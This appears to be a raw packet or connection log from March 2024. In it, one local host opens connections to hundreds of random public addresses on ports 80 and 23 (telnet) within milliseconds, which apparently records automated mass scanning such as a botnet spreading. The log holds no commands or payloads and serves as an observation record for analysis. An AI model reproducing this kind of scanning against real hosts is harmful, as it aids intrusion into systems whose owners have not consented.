Mar 13, 2024 09:35:01.540060997 CET	57141	80	192.168.2.15	78.65.110.82
Mar 13, 2024 09:35:01.540080070 CET	57141	80	192.168.2.15	190.128.65.89
Mar 13, 2024 09:35:01.540083885 CET	57141	80	192.168.2.15	116.162.161.24
Mar 13, 2024 09:35:01.540085077 CET	57141	80	192.168.2.15	121.156.53.26
Mar 13, 2024 09:35:01.540088892 CET	57141	80	192.168.2.15	39.106.50.180
Mar 13, 2024 09:35:01.540090084 CET	57141	80	192.168.2.15	48.11.12.199
Mar 13, 2024 09:35:01.540112972 CET	57141	80	192.168.2.15	67.63.42.254
Mar 13, 2024 09:35:01.540122032 CET	57141	80	192.168.2.15	5.158.152.204
Mar 13, 2024 09:35:01.540123940 CET	57141	80	192.168.2.15	146.6.247.253
Mar 13, 2024 09:35:01.540123940 CET	57141	80	192.168.2.15	8.127.213.251
Mar 13, 2024 09:35:01.540138006 CET	57141	80	192.168.2.15	192.190.19.171
Mar 13, 2024 09:35:01.540138006 CET	57141	80	192.168.2.15	45.11.204.210
Mar 13, 2024 09:35:01.540143013 CET	57141	80	192.168.2.15	47.59.123.165
Mar 13, 2024 09:35:01.540162086 CET	57141	80	192.168.2.15	129.190.109.106
Mar 13, 2024 09:35:01.540162086 CET	57141	80	192.168.2.15	31.254.45.198
Mar 13, 2024 09:35:01.540169001 CET	57141	80	192.168.2.15	12.31.101.77
Mar 13, 2024 09:35:01.540178061 CET	57141	80	192.168.2.15	192.122.9.192
Mar 13, 2024 09:35:01.540189028 CET	57141	80	192.168.2.15	186.163.82.54
Mar 13, 2024 09:35:01.540194035 CET	57141	80	192.168.2.15	121.16.152.57
Mar 13, 2024 09:35:01.540194035 CET	57141	80	192.168.2.15	49.10.103.181
Mar 13, 2024 09:35:01.540194035 CET	57141	80	192.168.2.15	153.112.130.155
Mar 13, 2024 09:35:01.540204048 CET	57141	80	192.168.2.15	161.42.151.119
Mar 13, 2024 09:35:01.540214062 CET	57141	80	192.168.2.15	142.215.203.152
Mar 13, 2024 09:35:01.540229082 CET	57141	80	192.168.2.15	147.224.182.101
Mar 13, 2024 09:35:01.540229082 CET	57141	80	192.168.2.15	93.65.108.212
Mar 13, 2024 09:35:01.540235996 CET	57141	80	192.168.2.15	13.167.237.53
Mar 13, 2024 09:35:01.540235996 CET	57141	80	192.168.2.15	193.94.231.156
Mar 13, 2024 09:35:01.540235996 CET	57141	80	192.168.2.15	62.45.193.0
Mar 13, 2024 09:35:01.540262938 CET	57141	80	192.168.2.15	158.5.14.28
Mar 13, 2024 09:35:01.540270090 CET	57141	80	192.168.2.15	98.229.39.30
Mar 13, 2024 09:35:01.540277958 CET	57141	80	192.168.2.15	66.47.88.124
Mar 13, 2024 09:35:01.540277958 CET	57141	80	192.168.2.15	93.17.38.48
Mar 13, 2024 09:35:01.540283918 CET	57141	80	192.168.2.15	206.143.246.136
Mar 13, 2024 09:35:01.540285110 CET	57141	80	192.168.2.15	45.165.23.44
Mar 13, 2024 09:35:01.540291071 CET	57141	80	192.168.2.15	48.184.234.198
Mar 13, 2024 09:35:01.540297031 CET	57141	80	192.168.2.15	77.109.238.131
Mar 13, 2024 09:35:01.540313005 CET	57141	80	192.168.2.15	123.212.148.12
Mar 13, 2024 09:35:01.540313959 CET	57141	80	192.168.2.15	81.19.85.192
Mar 13, 2024 09:35:01.540314913 CET	57141	80	192.168.2.15	90.101.115.215
Mar 13, 2024 09:35:01.540323019 CET	57141	80	192.168.2.15	23.58.104.81
Mar 13, 2024 09:35:01.540322065 CET	57141	80	192.168.2.15	75.10.28.148
Mar 13, 2024 09:35:01.540337086 CET	57141	80	192.168.2.15	59.68.132.3
Mar 13, 2024 09:35:01.540344954 CET	57141	80	192.168.2.15	150.45.223.167
Mar 13, 2024 09:35:01.540359974 CET	57141	80	192.168.2.15	205.5.1.68
Mar 13, 2024 09:35:01.540360928 CET	57141	80	192.168.2.15	172.59.155.21
Mar 13, 2024 09:35:01.540361881 CET	57141	80	192.168.2.15	191.147.183.21
Mar 13, 2024 09:35:01.540361881 CET	57141	80	192.168.2.15	68.252.47.116
Mar 13, 2024 09:35:01.540364981 CET	57141	80	192.168.2.15	184.85.86.34
Mar 13, 2024 09:35:01.540380001 CET	57141	80	192.168.2.15	135.22.56.232
Mar 13, 2024 09:35:01.540384054 CET	57141	80	192.168.2.15	176.3.219.91
Mar 13, 2024 09:35:01.540402889 CET	57141	80	192.168.2.15	20.48.79.214
Mar 13, 2024 09:35:01.540402889 CET	57141	80	192.168.2.15	173.80.186.15
Mar 13, 2024 09:35:01.540416002 CET	57141	80	192.168.2.15	96.123.152.90
Mar 13, 2024 09:35:01.540420055 CET	57141	80	192.168.2.15	175.36.114.144
Mar 13, 2024 09:35:01.540420055 CET	57141	80	192.168.2.15	45.155.93.151
Mar 13, 2024 09:35:01.540420055 CET	57141	80	192.168.2.15	216.233.200.155
Mar 13, 2024 09:35:01.540441990 CET	57141	80	192.168.2.15	191.204.121.250
Mar 13, 2024 09:35:01.540443897 CET	57141	80	192.168.2.15	53.91.251.66
Mar 13, 2024 09:35:01.540445089 CET	57141	80	192.168.2.15	143.245.44.202
Mar 13, 2024 09:35:01.540445089 CET	57141	80	192.168.2.15	167.73.160.33
Mar 13, 2024 09:35:01.540451050 CET	57141	80	192.168.2.15	14.94.21.246
Mar 13, 2024 09:35:01.540460110 CET	57141	80	192.168.2.15	71.178.189.3
Mar 13, 2024 09:35:01.540468931 CET	57141	80	192.168.2.15	192.106.123.228
Mar 13, 2024 09:35:01.540469885 CET	57141	80	192.168.2.15	216.227.119.145
Mar 13, 2024 09:35:01.540469885 CET	57141	80	192.168.2.15	157.6.206.249
Mar 13, 2024 09:35:01.540477991 CET	57141	80	192.168.2.15	117.165.112.84
Mar 13, 2024 09:35:01.540477991 CET	57141	80	192.168.2.15	51.217.176.237
Mar 13, 2024 09:35:01.540484905 CET	57141	80	192.168.2.15	149.235.171.14
Mar 13, 2024 09:35:01.540503025 CET	57141	80	192.168.2.15	209.90.45.141
Mar 13, 2024 09:35:01.540505886 CET	57141	80	192.168.2.15	1.65.107.156
Mar 13, 2024 09:35:01.567547083 CET	23	56885	222.103.115.1	192.168.2.15
Mar 13, 2024 09:35:01.678278923 CET	80	57141	174.126.63.74	192.168.2.15
Mar 13, 2024 09:35:01.824635983 CET	80	57141	183.112.125.13	192.168.2.15
Mar 13, 2024 09:35:01.824685097 CET	80	57141	119.210.116.211	192.168.2.15
Mar 13, 2024 09:35:01.825156927 CET	80	57141	222.119.76.158	192.168.2.15
Mar 13, 2024 09:35:01.825565100 CET	80	57141	210.191.221.33	192.168.2.15
Mar 13, 2024 09:35:01.838547945 CET	80	57141	118.87.25.69	192.168.2.15
Mar 13, 2024 09:35:01.844465017 CET	80	57141	58.162.81.137	192.168.2.15
Mar 13, 2024 09:35:01.878921032 CET	80	57141	168.1.216.228	192.168.2.15
Mar 13, 2024 09:35:01.883821011 CET	80	57141	39.106.50.180	192.168.2.15
Mar 13, 2024 09:35:01.894607067 CET	80	57141	184.85.86.34	192.168.2.15
Mar 13, 2024 09:35:01.894723892 CET	57141	80	192.168.2.15	184.85.86.34
Mar 13, 2024 09:35:01.894772053 CET	80	57141	116.162.161.24	192.168.2.15
Mar 13, 2024 09:35:01.894839048 CET	57141	80	192.168.2.15	116.162.161.24
Mar 13, 2024 09:35:01.897124052 CET	80	57141	23.58.104.81	192.168.2.15
Mar 13, 2024 09:35:01.897176027 CET	57141	80	192.168.2.15	23.58.104.81
Mar 13, 2024 09:35:02.290905952 CET	56885	23	192.168.2.15	105.222.85.196
Mar 13, 2024 09:35:02.290905952 CET	56885	23	192.168.2.15	190.41.139.228
Mar 13, 2024 09:35:02.290905952 CET	56885	23	192.168.2.15	84.105.192.223
Mar 13, 2024 09:35:02.290906906 CET	56885	23	192.168.2.15	59.197.225.16
Mar 13, 2024 09:35:02.290906906 CET	56885	23	192.168.2.15	20.16.23.219
Mar 13, 2024 09:35:02.290906906 CET	56885	23	192.168.2.15	72.171.28.32
Mar 13, 2024 09:35:02.290914059 CET	56885	23	192.168.2.15	155.130.150.100
Mar 13, 2024 09:35:02.290916920 CET	56885	23	192.168.2.15	41.162.189.70
Mar 13, 2024 09:35:02.290914059 CET	56885	23	192.168.2.15	141.0.248.246
Mar 13, 2024 09:35:02.290916920 CET	56885	23	192.168.2.15	172.91.29.202
Mar 13, 2024 09:35:02.290916920 CET	56885	23	192.168.2.15	177.252.252.37
Mar 13, 2024 09:35:02.290914059 CET	56885	23	192.168.2.15	12.91.214.154
Mar 13, 2024 09:35:02.290920019 CET	56885	23	192.168.2.15	126.151.42.69
Mar 13, 2024 09:35:02.290914059 CET	56885	23	192.168.2.15	69.121.178.37
Mar 13, 2024 09:35:02.290916920 CET	56885	23	192.168.2.15	42.221.124.70
Mar 13, 2024 09:35:02.290914059 CET	56885	23	192.168.2.15	151.213.180.201
Mar 13, 2024 09:35:02.290919065 CET	56885	23	192.168.2.15	168.32.153.70
Mar 13, 2024 09:35:02.290914059 CET	56885	23	192.168.2.15	212.221.11.80
Mar 13, 2024 09:35:02.290916920 CET	56885	23	192.168.2.15	160.135.155.138
Mar 13, 2024 09:35:02.290920019 CET	56885	23	192.168.2.15	20.229.163.11
Mar 13, 2024 09:35:02.290920019 CET	56885	23	192.168.2.15	129.175.78.220
Mar 13, 2024 09:35:02.290919065 CET	56885	23	192.168.2.15	217.223.121.129
Mar 13, 2024 09:35:02.290914059 CET	56885	23	192.168.2.15	216.113.129.247
Mar 13, 2024 09:35:02.290916920 CET	56885	23	192.168.2.15	203.99.41.98
Mar 13, 2024 09:35:02.290920019 CET	56885	23	192.168.2.15	199.79.75.116
Mar 13, 2024 09:35:02.290914059 CET	56885	23	192.168.2.15	175.168.234.3
Mar 13, 2024 09:35:02.290920019 CET	56885	23	192.168.2.15	80.170.178.219
Mar 13, 2024 09:35:02.290916920 CET	56885	23	192.168.2.15	126.18.159.207
Mar 13, 2024 09:35:02.290920019 CET	56885	23	192.168.2.15	49.8.120.116
Mar 13, 2024 09:35:02.290919065 CET	56885	23	192.168.2.15	174.54.94.12
Mar 13, 2024 09:35:02.290916920 CET	56885	23	192.168.2.15	75.30.72.175
Mar 13, 2024 09:35:02.290931940 CET	56885	23	192.168.2.15	72.73.105.141
Mar 13, 2024 09:35:02.290914059 CET	56885	23	192.168.2.15	100.204.222.20
Mar 13, 2024 09:35:02.290920019 CET	56885	23	192.168.2.15	160.162.171.216
Mar 13, 2024 09:35:02.290920019 CET	56885	23	192.168.2.15	143.35.231.84
Mar 13, 2024 09:35:02.290920019 CET	56885	23	192.168.2.15	72.0.3.36
Mar 13, 2024 09:35:02.290920019 CET	56885	23	192.168.2.15	150.232.87.216
Mar 13, 2024 09:35:02.290919065 CET	56885	23	192.168.2.15	87.222.113.187
Mar 13, 2024 09:35:02.290920019 CET	56885	23	192.168.2.15	169.55.121.205
Mar 13, 2024 09:35:02.290919065 CET	56885	23	192.168.2.15	86.97.18.157
Mar 13, 2024 09:35:02.290920019 CET	56885	23	192.168.2.15	191.112.173.42
Mar 13, 2024 09:35:02.290920019 CET	56885	23	192.168.2.15	147.37.251.227
Mar 13, 2024 09:35:02.290920973 CET	56885	23	192.168.2.15	111.64.32.23
Mar 13, 2024 09:35:02.290919065 CET	56885	23	192.168.2.15	141.79.186.23
Mar 13, 2024 09:35:02.290920973 CET	56885	23	192.168.2.15	173.226.137.107
Mar 13, 2024 09:35:02.290919065 CET	56885	23	192.168.2.15	174.132.26.173
Mar 13, 2024 09:35:02.290920973 CET	56885	23	192.168.2.15	107.173.239.29
Mar 13, 2024 09:35:02.290919065 CET	56885	23	192.168.2.15	142.175.191.246
Mar 13, 2024 09:35:02.290915012 CET	56885	23	192.168.2.15	178.140.245.150
Mar 13, 2024 09:35:02.290931940 CET	56885	23	192.168.2.15	9.63.208.92
Mar 13, 2024 09:35:02.290915012 CET	56885	23	192.168.2.15	20.99.145.63
Mar 13, 2024 09:35:02.290931940 CET	56885	23	192.168.2.15	83.218.165.3
Mar 13, 2024 09:35:02.290915012 CET	56885	23	192.168.2.15	126.46.76.60
Mar 13, 2024 09:35:02.290931940 CET	56885	23	192.168.2.15	170.59.33.242
Mar 13, 2024 09:35:02.290932894 CET	56885	23	192.168.2.15	104.74.78.149
Mar 13, 2024 09:35:02.290932894 CET	56885	23	192.168.2.15	169.189.112.251
Mar 13, 2024 09:35:02.290999889 CET	56885	23	192.168.2.15	172.90.173.41
Mar 13, 2024 09:35:02.290999889 CET	56885	23	192.168.2.15	138.97.38.36
Mar 13, 2024 09:35:02.290999889 CET	56885	23	192.168.2.15	142.186.8.134
Mar 13, 2024 09:35:02.291054964 CET	56885	23	192.168.2.15	57.138.192.237
Mar 13, 2024 09:35:02.291054964 CET	56885	23	192.168.2.15	103.60.124.131
Mar 13, 2024 09:35:02.291054964 CET	56885	23	192.168.2.15	62.73.18.185
Mar 13, 2024 09:35:02.291054964 CET	56885	23	192.168.2.15	188.94.244.252
Mar 13, 2024 09:35:02.291057110 CET	56885	23	192.168.2.15	122.59.125.26
Mar 13, 2024 09:35:02.291054964 CET	56885	23	192.168.2.15	38.3.46.111
Mar 13, 2024 09:35:02.291057110 CET	56885	23	192.168.2.15	115.13.85.48
Mar 13, 2024 09:35:02.291054964 CET	56885	23	192.168.2.15	193.26.245.70
Mar 13, 2024 09:35:02.291059017 CET	56885	23	192.168.2.15	38.81.82.237
Mar 13, 2024 09:35:02.291054964 CET	56885	23	192.168.2.15	137.63.255.234
Mar 13, 2024 09:35:02.291059017 CET	56885	23	192.168.2.15	46.209.135.191
Mar 13, 2024 09:35:02.291057110 CET	56885	23	192.168.2.15	115.45.186.205
Mar 13, 2024 09:35:02.291062117 CET	56885	23	192.168.2.15	189.176.228.114
Mar 13, 2024 09:35:02.291054964 CET	56885	23	192.168.2.15	129.21.170.213
Mar 13, 2024 09:35:02.291059017 CET	56885	23	192.168.2.15	118.252.149.134
Mar 13, 2024 09:35:02.291062117 CET	56885	23	192.168.2.15	191.49.216.143
Mar 13, 2024 09:35:02.291057110 CET	56885	23	192.168.2.15	155.156.198.60
Mar 13, 2024 09:35:02.291062117 CET	56885	23	192.168.2.15	48.125.100.116
Mar 13, 2024 09:35:02.291059017 CET	56885	23	192.168.2.15	1.29.63.24
Mar 13, 2024 09:35:02.291062117 CET	56885	23	192.168.2.15	43.138.119.252
Mar 13, 2024 09:35:02.291057110 CET	56885	23	192.168.2.15	77.151.171.99
Mar 13, 2024 09:35:02.291062117 CET	56885	23	192.168.2.15	2.161.19.140
Mar 13, 2024 09:35:02.291057110 CET	56885	23	192.168.2.15	131.124.160.174
Mar 13, 2024 09:35:02.291062117 CET	56885	23	192.168.2.15	63.115.4.197
Mar 13, 2024 09:35:02.291057110 CET	56885	23	192.168.2.15	180.8.132.89
Mar 13, 2024 09:35:02.291059017 CET	56885	23	192.168.2.15	97.34.235.156
Mar 13, 2024 09:35:02.291057110 CET	56885	23	192.168.2.15	8.218.118.160
Mar 13, 2024 09:35:02.291059017 CET	56885	23	192.168.2.15	89.15.36.245
Mar 13, 2024 09:35:02.291062117 CET	56885	23	192.168.2.15	75.112.219.189
Mar 13, 2024 09:35:02.291059017 CET	56885	23	192.168.2.15	160.199.229.197
Mar 13, 2024 09:35:02.291062117 CET	56885	23	192.168.2.15	156.188.218.62
Mar 13, 2024 09:35:02.291059017 CET	56885	23	192.168.2.15	195.177.104.172
Mar 13, 2024 09:35:02.291076899 CET	56885	23	192.168.2.15	219.193.6.34
Mar 13, 2024 09:35:02.291076899 CET	56885	23	192.168.2.15	36.9.82.99
Mar 13, 2024 09:35:02.291076899 CET	56885	23	192.168.2.15	157.84.76.68
Mar 13, 2024 09:35:02.291078091 CET	56885	23	192.168.2.15	98.87.254.106
Mar 13, 2024 09:35:02.291078091 CET	56885	23	192.168.2.15	147.15.178.167
Mar 13, 2024 09:35:02.291079044 CET	56885	23	192.168.2.15	23.147.12.250
Mar 13, 2024 09:35:02.291078091 CET	56885	23	192.168.2.15	179.24.107.39
Mar 13, 2024 09:35:02.291078091 CET	56885	23	192.168.2.15	160.204.67.176
Mar 13, 2024 09:35:02.291079044 CET	56885	23	192.168.2.15	164.179.61.108
Mar 13, 2024 09:35:02.291078091 CET	56885	23	192.168.2.15	107.84.169.228
Mar 13, 2024 09:35:02.291079998 CET	56885	23	192.168.2.15	50.150.79.254
Mar 13, 2024 09:35:02.291079998 CET	56885	23	192.168.2.15	81.105.159.241
Mar 13, 2024 09:35:02.291079998 CET	56885	23	192.168.2.15	84.111.73.244
Mar 13, 2024 09:35:02.291079998 CET	56885	23	192.168.2.15	163.93.75.235
Mar 13, 2024 09:35:02.291079998 CET	56885	23	192.168.2.15	221.103.151.148
Mar 13, 2024 09:35:02.291079998 CET	56885	23	192.168.2.15	200.37.214.253
Mar 13, 2024 09:35:02.291085005 CET	56885	23	192.168.2.15	118.190.6.99
Mar 13, 2024 09:35:02.291085005 CET	56885	23	192.168.2.15	188.25.84.173
Mar 13, 2024 09:35:02.291085005 CET	56885	23	192.168.2.15	112.0.8.37
Mar 13, 2024 09:35:02.291085005 CET	56885	23	192.168.2.15	203.27.92.188
Mar 13, 2024 09:35:02.291085005 CET	56885	23	192.168.2.15	43.214.79.247
Mar 13, 2024 09:35:02.291085005 CET	56885	23	192.168.2.15	5.12.11.168
Mar 13, 2024 09:35:02.291085958 CET	56885	23	192.168.2.15	148.238.31.248
Mar 13, 2024 09:35:02.291085958 CET	56885	23	192.168.2.15	62.220.200.82
Mar 13, 2024 09:35:02.291101933 CET	56885	23	192.168.2.15	108.39.239.0
Mar 13, 2024 09:35:02.291101933 CET	56885	23	192.168.2.15	155.113.209.168
Mar 13, 2024 09:35:02.291101933 CET	56885	23	192.168.2.15	208.92.43.178
Mar 13, 2024 09:35:02.291102886 CET	56885	23	192.168.2.15	59.58.22.151
Mar 13, 2024 09:35:02.291102886 CET	56885	23	192.168.2.15	110.92.161.44
Mar 13, 2024 09:35:02.291102886 CET	56885	23	192.168.2.15	162.123.186.225
Mar 13, 2024 09:35:02.291102886 CET	56885	23	192.168.2.15	124.49.50.140
Mar 13, 2024 09:35:02.291102886 CET	56885	23	192.168.2.15	217.161.70.179
Mar 13, 2024 09:35:02.291140079 CET	56885	23	192.168.2.15	217.56.92.69
Mar 13, 2024 09:35:02.291140079 CET	56885	23	192.168.2.15	86.54.85.165
Mar 13, 2024 09:35:02.291141033 CET	56885	23	192.168.2.15	151.115.96.6
Mar 13, 2024 09:35:02.291141033 CET	56885	23	192.168.2.15	20.7.242.236
Mar 13, 2024 09:35:02.291141987 CET	56885	23	192.168.2.15	66.166.215.127
Mar 13, 2024 09:35:02.291141033 CET	56885	23	192.168.2.15	31.121.203.84
Mar 13, 2024 09:35:02.291141987 CET	56885	23	192.168.2.15	75.52.254.11
Mar 13, 2024 09:35:02.291141033 CET	56885	23	192.168.2.15	154.167.66.157
Mar 13, 2024 09:35:02.291141987 CET	56885	23	192.168.2.15	81.19.138.22
Mar 13, 2024 09:35:02.291141033 CET	56885	23	192.168.2.15	189.245.192.55
Mar 13, 2024 09:35:02.291141987 CET	56885	23	192.168.2.15	61.218.1.153
Mar 13, 2024 09:35:02.291141033 CET	56885	23	192.168.2.15	211.238.113.189
Mar 13, 2024 09:35:02.291141987 CET	56885	23	192.168.2.15	128.255.203.157
Mar 13, 2024 09:35:02.291141987 CET	56885	23	192.168.2.15	27.247.14.53
Mar 13, 2024 09:35:02.291141987 CET	56885	23	192.168.2.15	107.138.1.232
Mar 13, 2024 09:35:02.291141987 CET	56885	23	192.168.2.15	142.22.170.137
Mar 13, 2024 09:35:02.291160107 CET	56885	23	192.168.2.15	221.28.74.5
Mar 13, 2024 09:35:02.291160107 CET	56885	23	192.168.2.15	2.81.81.195
Mar 13, 2024 09:35:02.291160107 CET	56885	23	192.168.2.15	194.44.207.248
Mar 13, 2024 09:35:02.291160107 CET	56885	23	192.168.2.15	102.69.12.200
Mar 13, 2024 09:35:02.291160107 CET	56885	23	192.168.2.15	96.241.27.244
Mar 13, 2024 09:35:02.291160107 CET	56885	23	192.168.2.15	160.33.233.138
Mar 13, 2024 09:35:02.291160107 CET	56885	23	192.168.2.15	114.121.36.120
Mar 13, 2024 09:35:02.291160107 CET	56885	23	192.168.2.15	190.120.192.231
Mar 13, 2024 09:35:02.291177988 CET	56885	23	192.168.2.15	115.242.189.129
Mar 13, 2024 09:35:02.291177988 CET	56885	23	192.168.2.15	14.191.232.139
Mar 13, 2024 09:35:02.291177988 CET	56885	23	192.168.2.15	79.179.33.226
Mar 13, 2024 09:35:02.291177988 CET	56885	23	192.168.2.15	36.85.243.237
Mar 13, 2024 09:35:02.291177988 CET	56885	23	192.168.2.15	188.57.115.71
Mar 13, 2024 09:35:02.291177988 CET	56885	23	192.168.2.15	36.100.125.147
Mar 13, 2024 09:35:02.291177988 CET	56885	23	192.168.2.15	31.88.49.168
Mar 13, 2024 09:35:02.291177988 CET	56885	23	192.168.2.15	157.130.181.236
Mar 13, 2024 09:35:02.291179895 CET	56885	23	192.168.2.15	170.90.125.53
Mar 13, 2024 09:35:02.291179895 CET	56885	23	192.168.2.15	185.176.246.152
Mar 13, 2024 09:35:02.291179895 CET	56885	23	192.168.2.15	148.208.30.170
Mar 13, 2024 09:35:02.291179895 CET	56885	23	192.168.2.15	99.12.55.96
Mar 13, 2024 09:35:02.291179895 CET	56885	23	192.168.2.15	90.89.125.88
Mar 13, 2024 09:35:02.291179895 CET	56885	23	192.168.2.15	106.98.130.43
Mar 13, 2024 09:35:02.291179895 CET	56885	23	192.168.2.15	101.156.46.83
Mar 13, 2024 09:35:02.291179895 CET	56885	23	192.168.2.15	147.208.208.46
Mar 13, 2024 09:35:02.291198015 CET	56885	23	192.168.2.15	44.215.83.91
Mar 13, 2024 09:35:02.291198015 CET	56885	23	192.168.2.15	8.89.103.170
Mar 13, 2024 09:35:02.291198015 CET	56885	23	192.168.2.15	40.216.233.123
Mar 13, 2024 09:35:02.291198015 CET	56885	23	192.168.2.15	78.128.125.64
Mar 13, 2024 09:35:02.291198015 CET	56885	23	192.168.2.15	42.99.138.74
Mar 13, 2024 09:35:02.291198015 CET	56885	23	192.168.2.15	161.65.1.183
Mar 13, 2024 09:35:02.291198015 CET	56885	23	192.168.2.15	86.59.115.64
Mar 13, 2024 09:35:02.291198015 CET	56885	23	192.168.2.15	45.231.239.18
Mar 13, 2024 09:35:02.291253090 CET	56885	23	192.168.2.15	2.190.120.189
Mar 13, 2024 09:35:02.291253090 CET	56885	23	192.168.2.15	154.29.14.76
Mar 13, 2024 09:35:02.291254044 CET	56885	23	192.168.2.15	174.122.90.195
Mar 13, 2024 09:35:02.291254044 CET	56885	23	192.168.2.15	203.87.44.206
Mar 13, 2024 09:35:02.291254044 CET	56885	23	192.168.2.15	104.253.143.168
Mar 13, 2024 09:35:02.291254997 CET	56885	23	192.168.2.15	108.28.21.29
Mar 13, 2024 09:35:02.291254044 CET	56885	23	192.168.2.15	71.39.119.163
Mar 13, 2024 09:35:02.291254997 CET	56885	23	192.168.2.15	166.30.85.246
Mar 13, 2024 09:35:02.291254044 CET	56885	23	192.168.2.15	152.167.99.8
Mar 13, 2024 09:35:02.291254997 CET	56885	23	192.168.2.15	62.197.232.26
Mar 13, 2024 09:35:02.291254997 CET	56885	23	192.168.2.15	19.83.125.119
Mar 13, 2024 09:35:02.291254997 CET	56885	23	192.168.2.15	153.238.32.149
Mar 13, 2024 09:35:02.291254997 CET	56885	23	192.168.2.15	191.59.53.117
Mar 13, 2024 09:35:02.291254997 CET	56885	23	192.168.2.15	119.220.148.36
Mar 13, 2024 09:35:02.291254997 CET	56885	23	192.168.2.15	44.8.32.205
Mar 13, 2024 09:35:02.291276932 CET	56885	23	192.168.2.15	204.90.35.29
Mar 13, 2024 09:35:02.291276932 CET	56885	23	192.168.2.15	40.135.248.148
Mar 13, 2024 09:35:02.291276932 CET	56885	23	192.168.2.15	151.82.194.238
Mar 13, 2024 09:35:02.291276932 CET	56885	23	192.168.2.15	44.221.201.51
Mar 13, 2024 09:35:02.291276932 CET	56885	23	192.168.2.15	128.75.13.88
Mar 13, 2024 09:35:02.291276932 CET	56885	23	192.168.2.15	92.189.186.89
Mar 13, 2024 09:35:02.291276932 CET	56885	23	192.168.2.15	75.108.227.20
Mar 13, 2024 09:35:02.291276932 CET	56885	23	192.168.2.15	135.46.184.56
Mar 13, 2024 09:35:02.291290045 CET	56885	23	192.168.2.15	180.197.151.136
Mar 13, 2024 09:35:02.291290998 CET	56885	23	192.168.2.15	132.181.249.250
Mar 13, 2024 09:35:02.291290998 CET	56885	23	192.168.2.15	192.148.191.93
Mar 13, 2024 09:35:02.291290998 CET	56885	23	192.168.2.15	113.210.96.200
Mar 13, 2024 09:35:02.291290998 CET	56885	23	192.168.2.15	101.104.203.26
Mar 13, 2024 09:35:02.291290998 CET	56885	23	192.168.2.15	202.10.233.3
Mar 13, 2024 09:35:02.291290998 CET	56885	23	192.168.2.15	217.240.8.26
Mar 13, 2024 09:35:02.291290998 CET	56885	23	192.168.2.15	164.32.255.106
Mar 13, 2024 09:35:02.291301012 CET	56885	23	192.168.2.15	100.224.68.104
Mar 13, 2024 09:35:02.291301012 CET	56885	23	192.168.2.15	68.18.121.186
Mar 13, 2024 09:35:02.291301012 CET	56885	23	192.168.2.15	99.255.147.30
Mar 13, 2024 09:35:02.291301012 CET	56885	23	192.168.2.15	184.15.173.220
Mar 13, 2024 09:35:02.291301012 CET	56885	23	192.168.2.15	13.167.111.230
Mar 13, 2024 09:35:02.291301012 CET	56885	23	192.168.2.15	34.39.55.139
Mar 13, 2024 09:35:02.291301012 CET	56885	23	192.168.2.15	190.23.46.198
Mar 13, 2024 09:35:02.291301012 CET	56885	23	192.168.2.15	2.176.249.231
Mar 13, 2024 09:35:02.291327000 CET	56885	23	192.168.2.15	65.241.186.68
Mar 13, 2024 09:35:02.291327000 CET	56885	23	192.168.2.15	25.20.192.220
Mar 13, 2024 09:35:02.291327000 CET	56885	23	192.168.2.15	62.120.155.228
Mar 13, 2024 09:35:02.291327000 CET	56885	23	192.168.2.15	145.253.189.81
Mar 13, 2024 09:35:02.291327000 CET	56885	23	192.168.2.15	134.58.101.11
Mar 13, 2024 09:35:02.291327000 CET	56885	23	192.168.2.15	196.1.101.120
Mar 13, 2024 09:35:02.291327000 CET	56885	23	192.168.2.15	223.226.102.198
Mar 13, 2024 09:35:02.291327000 CET	56885	23	192.168.2.15	94.74.192.132
Mar 13, 2024 09:35:02.291342020 CET	56885	23	192.168.2.15	194.64.246.101
Mar 13, 2024 09:35:02.291342020 CET	56885	23	192.168.2.15	27.63.138.189
Mar 13, 2024 09:35:02.291342020 CET	56885	23	192.168.2.15	195.124.129.136
Mar 13, 2024 09:35:02.291342020 CET	56885	23	192.168.2.15	121.240.39.94
Mar 13, 2024 09:35:02.291342020 CET	56885	23	192.168.2.15	115.212.171.90
Mar 13, 2024 09:35:02.291342020 CET	56885	23	192.168.2.15	138.219.182.156
Mar 13, 2024 09:35:02.291342020 CET	56885	23	192.168.2.15	44.90.122.45
Mar 13, 2024 09:35:02.291342020 CET	56885	23	192.168.2.15	74.190.217.84
Mar 13, 2024 09:35:02.291362047 CET	56885	23	192.168.2.15	114.57.140.42
Mar 13, 2024 09:35:02.291373014 CET	56885	23	192.168.2.15	81.110.244.124
Mar 13, 2024 09:35:02.291387081 CET	56885	23	192.168.2.15	154.80.77.101
Mar 13, 2024 09:35:02.291387081 CET	56885	23	192.168.2.15	114.240.223.210
Mar 13, 2024 09:35:02.291387081 CET	56885	23	192.168.2.15	164.206.124.235
Mar 13, 2024 09:35:02.291387081 CET	56885	23	192.168.2.15	121.5.172.173
Mar 13, 2024 09:35:02.291387081 CET	56885	23	192.168.2.15	163.178.195.226
Mar 13, 2024 09:35:02.291387081 CET	56885	23	192.168.2.15	2.235.97.7
Mar 13, 2024 09:35:02.291388035 CET	56885	23	192.168.2.15	69.71.110.23
Mar 13, 2024 09:35:02.291392088 CET	56885	23	192.168.2.15	9.118.61.28
Mar 13, 2024 09:35:02.291394949 CET	56885	23	192.168.2.15	58.219.20.26
Mar 13, 2024 09:35:02.291388035 CET	56885	23	192.168.2.15	219.183.6.140
Mar 13, 2024 09:35:02.291392088 CET	56885	23	192.168.2.15	120.187.64.135
Mar 13, 2024 09:35:02.291397095 CET	56885	23	192.168.2.15	80.233.31.160
Mar 13, 2024 09:35:02.291394949 CET	56885	23	192.168.2.15	130.83.202.180
Mar 13, 2024 09:35:02.291392088 CET	56885	23	192.168.2.15	136.231.22.16
Mar 13, 2024 09:35:02.291397095 CET	56885	23	192.168.2.15	218.65.23.157
Mar 13, 2024 09:35:02.291388035 CET	56885	23	192.168.2.15	27.97.156.141
Mar 13, 2024 09:35:02.291392088 CET	56885	23	192.168.2.15	114.144.52.131
Mar 13, 2024 09:35:02.291392088 CET	56885	23	192.168.2.15	109.117.219.48
Mar 13, 2024 09:35:02.291392088 CET	56885	23	192.168.2.15	9.41.7.55
Mar 13, 2024 09:35:02.291392088 CET	56885	23	192.168.2.15	141.115.119.255
Mar 13, 2024 09:35:02.291392088 CET	56885	23	192.168.2.15	49.226.66.148
Mar 13, 2024 09:35:02.291408062 CET	56885	23	192.168.2.15	13.73.9.148
Mar 13, 2024 09:35:02.291408062 CET	56885	23	192.168.2.15	199.86.226.254
Mar 13, 2024 09:35:02.291408062 CET	56885	23	192.168.2.15	9.45.163.240
Mar 13, 2024 09:35:02.291408062 CET	56885	23	192.168.2.15	97.186.240.137
Mar 13, 2024 09:35:02.291408062 CET	56885	23	192.168.2.15	85.244.168.44
